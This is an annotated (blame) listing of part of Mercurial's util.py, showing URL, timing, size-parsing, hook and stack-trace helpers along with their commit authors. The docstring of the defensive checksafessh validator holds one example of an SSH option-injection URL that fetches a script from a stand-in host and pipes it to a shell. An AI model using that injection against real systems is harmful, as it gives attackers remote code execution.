url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3043 return bool(url(path).scheme) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3044 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3045 def hasdriveletter(path): |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
3046 return path and path[1:2] == ':' and path[0:1].isalpha() |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3047 |
14825
de9eb6b1da4f
util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents:
14766
diff
changeset
|
3048 def urllocalpath(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3049 return url(path, parsequery=False, parsefragment=False).localpath() |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3050 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3051 def checksafessh(path): |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3052 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3053 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3054 This is a sanity check for ssh urls. ssh will parse the first item as |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3055 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3056 Let's prevent these potentially exploited urls entirely and warn the |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3057 user. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3058 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3059 Raises an error.Abort when the url is unsafe. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3060 """ |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3061 path = urlreq.unquote(path) |
33660
3fee7f7d2da0
ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents:
33657
diff
changeset
|
3062 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3063 raise error.Abort(_('potentially unsafe url: %r') % |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3064 (path,)) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3065 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3066 def hidepassword(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3067 '''hide user credential in a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3068 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3069 if u.passwd: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3070 u.passwd = '***' |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3071 return bytes(u) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3072 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3073 def removeauth(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3074 '''remove all authentication information from a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3075 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3076 u.user = u.passwd = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3077 return str(u) |
14515
76f295eaed86
util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents:
14313
diff
changeset
|
3078 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3079 timecount = unitcountfn( |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3080 (1, 1e3, _('%.0f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3081 (100, 1, _('%.1f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3082 (10, 1, _('%.2f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3083 (1, 1, _('%.3f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3084 (100, 0.001, _('%.1f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3085 (10, 0.001, _('%.2f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3086 (1, 0.001, _('%.3f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3087 (100, 0.000001, _('%.1f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3088 (10, 0.000001, _('%.2f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3089 (1, 0.000001, _('%.3f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3090 (100, 0.000000001, _('%.1f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3091 (10, 0.000000001, _('%.2f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3092 (1, 0.000000001, _('%.3f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3093 ) |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3094 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3095 _timenesting = [0] |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3096 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3097 def timed(func): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3098 '''Report the execution time of a function call to stderr. |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3099 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3100 During development, use as a decorator when you need to measure |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3101 the cost of a function, e.g. as follows: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3102 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3103 @util.timed |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3104 def foo(a, b, c): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3105 pass |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3106 ''' |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3107 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3108 def wrapper(*args, **kwargs): |
30975
22fbca1d11ed
mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents:
30974
diff
changeset
|
3109 start = timer() |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3110 indent = 2 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3111 _timenesting[0] += indent |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3112 try: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3113 return func(*args, **kwargs) |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3114 finally: |
30975
22fbca1d11ed
mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents:
30974
diff
changeset
|
3115 elapsed = timer() - start |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3116 _timenesting[0] -= indent |
30473
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
3117 stderr.write('%s%s: %s\n' % |
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
3118 (' ' * _timenesting[0], func.__name__, |
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
3119 timecount(elapsed))) |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3120 return wrapper |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3121 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3122 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3123 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3124 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3125 def sizetoint(s): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3126 '''Convert a space specifier to a byte count. |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3127 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3128 >>> sizetoint(b'30') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3129 30 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3130 >>> sizetoint(b'2.2kb') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3131 2252 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3132 >>> sizetoint(b'6M') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3133 6291456 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3134 ''' |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3135 t = s.strip().lower() |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3136 try: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3137 for k, u in _sizeunits: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3138 if t.endswith(k): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3139 return int(float(t[:-len(k)]) * u) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3140 return int(t) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3141 except ValueError: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3142 raise error.ParseError(_("couldn't parse size: %s") % s) |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3143 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3144 class hooks(object): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3145 '''A collection of hook functions that can be used to extend a |
26098 | 3146 function's behavior. Hooks are called in lexicographic order, |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3147 based on the names of their sources.''' |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3148 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3149 def __init__(self): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3150 self._hooks = [] |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3151 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3152 def add(self, source, hook): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3153 self._hooks.append((source, hook)) |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3154 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3155 def __call__(self, *args): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3156 self._hooks.sort(key=lambda x: x[0]) |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3157 results = [] |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3158 for source, hook in self._hooks: |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3159 results.append(hook(*args)) |
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3160 return results |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3161 |
36129
2874896a6e3b
util: format line number of stack trace using %d
Augie Fackler <augie@google.com>
parents:
36128
diff
changeset
|
3162 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3163 '''Yields lines for a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3164 Skips the 'skip' last entries, then return the last 'depth' entries. |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3165 Each file+linenumber is formatted according to fileline. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3166 Each line is formatted according to line. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3167 If line is None, it yields: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3168 length of longest filepath+line number, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3169 filepath+linenumber, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3170 function |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3171 |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3172 Not be used in production code but very convenient while developing. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3173 ''' |
36130
7ec26f27ca83
util: convert traceback-related sysstrs to sysbytes in getstackframes
Augie Fackler <augie@google.com>
parents:
36129
diff
changeset
|
3174 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3175 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1] |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3176 ][-depth:] |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3177 if entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3178 fnmax = max(len(entry[0]) for entry in entries) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3179 for fnln, func in entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3180 if line is None: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3181 yield (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3182 else: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3183 yield line % (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3184 |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3185 def debugstacktrace(msg='stacktrace', skip=0, |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3186 f=stderr, otherf=stdout, depth=0): |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3187 '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3188 Skips the 'skip' entries closest to the call, then show 'depth' entries. |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3189 By default it will flush stdout first. |
28496
b592564a803c
util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents:
28027
diff
changeset
|
3190 It can be used everywhere and intentionally does not require an ui object. |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3191 Not be used in production code but very convenient while developing. |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3192 ''' |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3193 if otherf: |
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3194 otherf.flush() |
31314
7c877cbf30d6
util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents:
31141
diff
changeset
|
3195 f.write('%s at:\n' % msg.rstrip()) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3196 for line in getstackframes(skip + 1, depth=depth): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3197 f.write(line) |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3198 f.flush() |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3199 |
24635
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3200 class dirs(object): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3201 '''a multiset of directory names from a dirstate or manifest''' |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3202 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3203 def __init__(self, map, skip=None): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3204 self._dirs = {} |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3205 addpath = self.addpath |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3206 if safehasattr(map, 'iteritems') and skip is not None: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3207 for f, s in map.iteritems(): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3208 if s[0] != skip: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3209 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3210 else: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3211 for f in map: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3212 addpath(f) |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3213 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3214 def addpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3215 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3216 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3217 if base in dirs: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3218 dirs[base] += 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3219 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3220 dirs[base] = 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3221 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3222 def delpath(self, path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3223 dirs = self._dirs |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3224 for base in finddirs(path): |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3225 if dirs[base] > 1: |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3226 dirs[base] -= 1 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3227 return |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3228 del dirs[base] |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3229 |
21e1ece30f8c
util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents:
24605
diff
changeset
|
3230 def __iter__(self): |
31430
807387581d89
py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents:
31404
diff
changeset
|
3231 return iter(self._dirs) |
24635
21e1ece30f8c
